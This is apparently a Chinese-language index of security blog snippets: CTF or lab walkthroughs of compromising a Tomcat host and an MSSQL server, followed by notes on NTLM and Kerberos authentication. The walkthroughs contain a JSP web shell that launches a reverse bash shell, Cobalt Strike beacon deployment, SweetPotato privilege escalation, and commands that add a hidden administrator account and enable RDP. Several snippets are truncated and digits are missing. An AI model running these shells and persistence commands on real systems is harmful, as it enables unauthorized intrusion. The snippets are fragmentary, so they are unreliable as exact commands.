flag
端口,猜测tomcat,扫一下目录
发现docs目录,进去看发现该tomcat版本存在文件读取,于是尝试攻击
发现有一个UploadServlet
然后使用文件包含反弹shell
.jsp
<% java.io.InputStream in = Runtime.getRuntime().exec("bash -c echo,base|base,-d|bash,-i").getInputStream(); int a = -; byte[] b = new byte[]; out.print("<pre>"); while((a=in.read(b))!=-) out.println(new String(b)); out.print("</pre>");%>
然后我们 ...
flag
在使用fscan扫描的时候发现存在sqlserver(mssql)弱口令,使用MDUT连接,然后在公网vps起teamserver,往mssql中传cs木马直接上线
最后发现需要提权,因为是mssql系列,考虑Potato提权
使用SweetPotato执行beacon.exe实现system权限木马上线
然后在admin中找到flag
这里是我创建了一个新用户,登录进去之后访问的flag
net user fault qwer! /addnet localgroup administrators fault /addREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d /f
flag
然后我们继续探测内网,传一个fscan上去扫描内网,发现dc机器
到这里,我们搜集用户信息
shell net user
找到还有一个john用户,然后我们尝试看看 ...
系统版本对LM和NTLM的支持
NTLM 认证
简介
NTLM是NT LAN Manager的缩写,NTLM是指telnet的一种验证身份方式,即问询/应答身份验证协议
认证流程
进行一个嫌弃自己的字好丑
这就是我理解的并且画的流程图
用户登录客户端,进行本地认证
客户端首先在本地将当前用户的密码加密为HTLM Hash
确认双方协议版本,客户端向服务器明文发送自己的账号
服务器返回一个十六位随机数,也就是图中的challenge
客户端需要使用本地的NTLM Hash来加密这个challenge并发回给服务器,也就是图中的response
服务器将明文的用户名、challenge、response发给域控制器(DC
域控制器用这个用户名在SAM密码管理库中找此用户对应的NTLM Hash
用这个NTLM Hash来加密服务器发过来的与发给用户端一样的challenge,与服务器端传过来的response进行对比,如果相同,那么就认证成功
本地认证
Windows不会储存用户的明文密码,而是将明文密码加密后储存在SAM中
本地认证的过程中,用户登录时,系统会自动将用户输入的明文 ...
该协议涉及的攻击手段如下
理解协议过程所画的草稿图
鉴于我画的图丑晕了,于是在笔记中还是使用别人的图吧
未引入TGS前的认证流程
客户端向KDC发起对sessionkey的请求,KDC使用数据库中存储的该客户端的密码对sessionkey进行加密,同时向客户端请求的服务器发送同样的sessionkey,但使用服务器端的密码进行加密,然后客户端再使用sessionkey向服务器进行认证
在这个流程中我们可以发现一些问题
.A向KDC申请sessionkey,KDC同时向A和B发送sessionkey,如果由于网络等原因导致B在A向它请求认证时还没有收到sessionkey就会导致认证失败,所以可以尝试在返回给A使用client password加密的sessionkey的时候将本该发给B的信息一同发送给A,再由A向B请求验证的时候一同发送给B
.A提出SessionKey的申请时,KDC凭什么就生成了SessionKey给了A,也就是说,KDC缺乏对A的认证,所以在分发SessionKey之前,KDC需要增加对A的认证,解决办法就是,将KDC机构分成两部分:
AS:Authe ...